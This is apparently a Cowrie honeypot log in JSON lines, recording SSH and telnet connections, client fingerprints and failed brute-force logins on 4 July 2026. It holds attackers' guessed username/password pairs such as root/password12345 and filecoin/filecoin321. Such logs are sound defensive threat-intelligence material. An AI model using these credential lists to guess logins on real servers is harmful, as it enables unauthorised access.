{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:23.749894Z","src_ip":"178.128.39.166","session":"860083560a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password12345","message":"login attempt [root/password12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:24.994530Z","src_ip":"178.128.39.166","session":"860083560a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:26.075028Z","src_ip":"178.128.39.166","session":"860083560a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":64191,"dst_ip":"10.17.0.5","dst_port":22,"session":"198b3e6a9b79","protocol":"ssh","message":"New connection: 87.156.182.84:64191 (10.17.0.5:22) [session: 198b3e6a9b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:28.440069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:28.521600Z","src_ip":"87.156.182.84","session":"198b3e6a9b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:28.629594Z","src_ip":"87.156.182.84","session":"198b3e6a9b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.60.130.219","src_port":50748,"dst_ip":"10.17.0.5","dst_port":22,"session":"01aaa55444f9","protocol":"ssh","message":"New connection: 62.60.130.219:50748 (10.17.0.5:22) [session: 01aaa55444f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:29.699720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:29.703966Z","src_ip":"62.60.130.219","session":"01aaa55444f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:29.815652Z","src_ip":"62.60.130.219","session":"01aaa55444f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:30.295260Z","src_ip":"62.60.130.219","session":"01aaa55444f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza2025","message":"login attempt [root/Reza2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:31.989818Z","src_ip":"87.156.182.84","session":"198b3e6a9b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":48182,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bff326b499b","protocol":"ssh","message":"New connection: 162.241.239.241:48182 (159.203.135.109:22) [session: 6bff326b499b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:32.511602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:32.515487Z","src_ip":"162.241.239.241","session":"6bff326b499b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:32.540235Z","src_ip":"162.241.239.241","session":"6bff326b499b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gateio123","message":"login attempt [root/gateio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:32.618795Z","src_ip":"162.241.239.241","session":"6bff326b499b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:33.143375Z","src_ip":"87.156.182.84","session":"198b3e6a9b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:33.646084Z","src_ip":"162.241.239.241","session":"6bff326b499b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.107.6","src_port":37108,"dst_ip":"159.203.135.109","dst_port":22,"session":"46d2daf0c629","protocol":"ssh","message":"New connection: 194.164.107.6:37108 (159.203.135.109:22) [session: 46d2daf0c629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:44.348407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7","message":"Remote SSH version: SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:44.352343Z","src_ip":"194.164.107.6","session":"46d2daf0c629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:44.583361Z","src_ip":"194.164.107.6","session":"46d2daf0c629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:44.819902Z","src_ip":"194.164.107.6","session":"46d2daf0c629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69218111038208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:48.582100Z","src_ip":"137.184.5.188","session":"533099bde358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":57742,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cfe5f2485bc","protocol":"ssh","message":"New connection: 103.82.36.79:57742 (10.17.0.5:22) [session: 1cfe5f2485bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:49.244433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:49.310216Z","src_ip":"103.82.36.79","session":"1cfe5f2485bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:49.537131Z","src_ip":"103.82.36.79","session":"1cfe5f2485bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:50.567127Z","src_ip":"103.82.36.79","session":"1cfe5f2485bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:03:51.869639Z","src_ip":"103.82.36.79","session":"1cfe5f2485bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":35174,"dst_ip":"10.17.0.5","dst_port":22,"session":"7be9d1a8a5a2","protocol":"ssh","message":"New connection: 85.215.121.209:35174 (10.17.0.5:22) [session: 7be9d1a8a5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:00.663189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:00.667069Z","src_ip":"85.215.121.209","session":"7be9d1a8a5a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:00.758669Z","src_ip":"85.215.121.209","session":"7be9d1a8a5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":59280,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9cec7a3d78d","protocol":"ssh","message":"New connection: 185.243.11.39:59280 (10.17.0.5:22) [session: f9cec7a3d78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:00.910359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:00.914546Z","src_ip":"185.243.11.39","session":"f9cec7a3d78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:01.025132Z","src_ip":"185.243.11.39","session":"f9cec7a3d78d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filecoin","password":"filecoin321","message":"login attempt [filecoin/filecoin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:01.035050Z","src_ip":"85.215.121.209","session":"7be9d1a8a5a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"georgia","password":"Tbilisi#Ethereum@S3cur3","message":"login attempt [georgia/Tbilisi#Ethereum@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:01.362784Z","src_ip":"185.243.11.39","session":"f9cec7a3d78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:02.128684Z","src_ip":"85.215.121.209","session":"7be9d1a8a5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:04:02.471514Z","src_ip":"185.243.11.39","session":"f9cec7a3d78d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"049fec55f0ce","protocol":"ssh","message":"New connection: 46.19.67.181:46240 (159.203.135.109:22) [session: 049fec55f0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:02.972945Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":56958,"dst_ip":"159.203.135.109","dst_port":23,"session":"859802e3afc1","protocol":"telnet","message":"New connection: 143.198.154.150:56958 (159.203.135.109:23) [session: 859802e3afc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:05:27.492766Z"}
